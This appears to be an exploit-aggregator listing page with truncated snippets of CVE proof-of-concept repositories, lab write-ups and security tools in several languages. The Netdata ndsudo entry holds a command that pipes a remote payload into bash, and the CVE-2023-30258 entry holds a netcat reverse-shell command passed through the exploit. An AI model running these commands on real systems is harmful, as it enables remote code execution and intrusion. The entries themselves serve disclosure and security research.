CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC Build the binary: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme Run the bash script: root@kitploit: bash exploit.sh In target machine run in a writable directory: root@kitploit: curl http://:8000/payload.sh | bash It will automatically...

CVE-2024-12209

CVE-2024-12209 WP Umbrella: Update Backup Restore & Monitoring = 2.17.0 - Unauthenticated Local File Inclusion Description The WP Umbrella: Update Backup Restore & Monitoring plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.17.0 via the 'filename'...

CVE-2024-50404

CVE-2024-50404 https://www.qnap.com/en/security-advisory/qsa-24-48 https://www.cve.org/CVERecord?id=2024-50404 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N 6.8 "A link following vulnerability has been reported to affect Qsync Central. If exploited, the vulnerability could allow...

CVE-2025-29927

Next.js ミドルウェアバイパスチェッカー | CVE-2025-29927 Next.jsアプリケーションがミドルウェアバイパス CVE-2025-29927 に対して脆弱かどうかを検出するためのBash自動化ツール。Zhero Web Securityの調査に基づいています。 必要条件 bash whatweb curl Debian/Ubuntuでは以下でインストール: root@kitploit: sudo apt install whatweb curl 使い方 単一URLのスキャン root@kitploit: ./CVE-2025-29927.sh -u...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC CVE-2023-30258-RCE 的概念验证，作者：n0o0b 用法 root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd CMD...

cve-2021-4034

CVE-2021-4034 - PwnKit Polkit Local Privilege Escalation Overview This repository contains a Proof of Concept for CVE-2021-4034 , also known as PwnKit. It was developed for personal training and educational purposes only. Use only in environments you own or are explicitly authorized to test...

Shocker-TJNULL-OSCP-

HackTheBox: Shocker 攻击报告 一份结构化的专业演练，展示了对严重Shellshock 漏洞的识别和手动利用，随后通过Linux目标上配置错误的sudo权限进行本地权限提升。 技术概述 目标操作系统: Linux IP地址: 10.10.10.56 难度: 简单 核心漏洞: Shellshock CVE-2014-6271 及配置错误的Sudo权限 /usr/bin/perl 目标: 通过CGI环境变量注入获得初始用户访问权限并提升至root。 1. 枚举与侦察 评估从一次快速的全端口TCP...

ZigRaceExploit

CVE-2021-25741 — Explotación de TOCTOU Symlink Race en Zig Exploit educativo de la condición de carrera TOCTOU Time Of Check, Time Of Use que está en el origen de CVE-2021-25741, una vulnerabilidad en el kubelet de Kubernetes. El proyecto demuestra localmente sin clúster K8s cómo un intercambio...

CVE-2022-3552

CVE-2022-3552 In order to exploit the vulnerability in BoxBlilling, the version will have to be: "BoxBilling=4.22.1.5" and you will have to have valid admin credentials. If you have the situation above, here are the steps you have to take in order to get the juicy RCE: Create a python virtual...

jboss-autopwn-1

jboss-autopwn JBoss Autopwn as featured at BlackHat Europe 2010 - this version incorporates CVE-2010-0738 the JBoss authentication bypass VERB manipulation vulnerability as discovered by Minded Security C. Papathanasiou 2010 INTRODUCTION This JBoss script deploys a JSP shell on the target JBoss A...

Zoom-dll-hijacking

Zoom-dll-hijacking Una vulnerabilidad de secuestro de dll en zoom meeting 5.1.3 Versiones de Windows afectadas Windows 7 o inferior Windows Server 2008 Cualquier otro sistema de Windows que no tenga SHCore.dll presente. Uso Copie dbghelper.dll y SHCore.dll en la siguiente ubicación...

Exploit for CVE-2026-44402

CVE-2026-44402 — Voltronic Power SNMP Web Pro 1.1 Unauthentica...

MalwareForge---Advanced-Static-Malware-Analyzer

🛡️ MalwareForge - 高级静态恶意软件分析器 MalwareForge 是一款强大的静态恶意软件分析工具，无需执行文件即可检测恶意行为。 ✨ 功能特性 🦠 行为分析 ：进程注入、持久化、网络、窃密、规避 💉 8 种注入技术 ：进程镂空、APC 注入、反射式 DLL 等 📦 加壳检测 ：UPX、Themida、VMProtect、ASPack、MPRESS 🔑 哈希数据库 ：已知恶意软件家族检测 🛡️ VirusTotal 集成 ：60+ 款杀毒引擎检测结果 📝 字符串分析 ：URL、IP、注册表、命令提取 📊 熵分析 ：检测加壳/加密的节区 💾 节区导出 ：将 PE 节区提取为...

zyxel-social-login-bypass-cve-2026-8508

CVE-2026-8508：Zyxel 强制门户绕过——通过受信浏览器提交的 Facebook 身份 本仓库收录了 CVE-2026-8508 的公开分析文章、快速验证脚本及部分精选支撑材料。 这是什么 CVE-2026-8508 是 Zyxel 强制门户社交登录中的一个预认证信任边界缺陷。此处的本地逆向工作基于 WAX650S V7.10ABRM.4C0：浏览器完成 Facebook 侧身份步骤后，将 fbuser 及相关字段提交至 /cgi-bin/sociallogin.cgi，后端在认证跳过路径上接受了这些字段。 Zyxel 于 2026-08-04...

XSS2Shell-CVE-2026-64638

🔍 @Mr-LeonardoGomes 💀 XSS2Shell-CVE-2026-64638 XSS2Shell 多目标扫描器 开发者： 致谢：YogaGymn 用于 WordPress 授权安全测试的 PoC/扫描工具。该项目包含针对单一目标的利用流程，以及一个并发的仅扫描 多目标模式。 重要提示： 请仅在您拥有或已获得明确测试授权的 WordPress 安装上使用此项目。多目标扫描器有意仅限于版本识别和 XSS 反射检测；它不会针对目标列表执行凭据捕获、插件上传或 RCE。 功能特性 单一目标模式 原始脚本支持： WordPress 版本识别。 XSS 反射检测。 auto、xss ...

RustyInjector

⚠️ Descargo de responsabilidad: Solo para fines de investigación y educativos Este proyecto es una Prueba de Concepto PoC que demuestra la inyección de pulsaciones de teclado por Bluetooth, reimplementada en Rust. Está destinado estrictamente a fines educativos y de investigación en seguridad. No...

PoC-Apache-CVE-2021-41773-Infrastructure-LAB

Apache CVE-2021-41773 — Laboratorio Docker PoC Aviso de Seguridad Este repositorio reproduce una vulnerabilidad divulgada públicamente y parcheada en un entorno controlado de laboratorio Docker con fines educativos y de investigación. El entorno es intencionalmente vulnerable y solo debe...

CVE-2023-38434

CVE-2023-38434 xHTTP commit 72f812d y versiones anteriores sufren de una vulnerabilidad de doble liberación en closeconnection en xhttp.c, línea 595. root@kitploit: ifconn-request.public.headers.list != NULL freeconn-request.public.headers.list; Para confirmar la vulnerabilidad, compile el servid...

deadair v0.8.0

deadair checks whether enabled SIEM detections still have the telemetry they need. It reports missing or stale data, ingest delays, and schema mismatches. Runs locally · Read-only · No agent · No telemetry upload Read the technical write-up · Featured in Detection Engineering Weekly · Featured in...

CVE-2025-27520-PoC

CVE-2025-27520 — Simulación educativa segura / PoC Demo Stand ⚠️ Importante: Esta es una simulación educativa y segura de la vulnerabilidad CVE-2025-27520. El proyecto incluye un servicio simulado Flask y un escáner PoC seguro Python. La simulación crea un archivo de evidencia en data/ al recibir...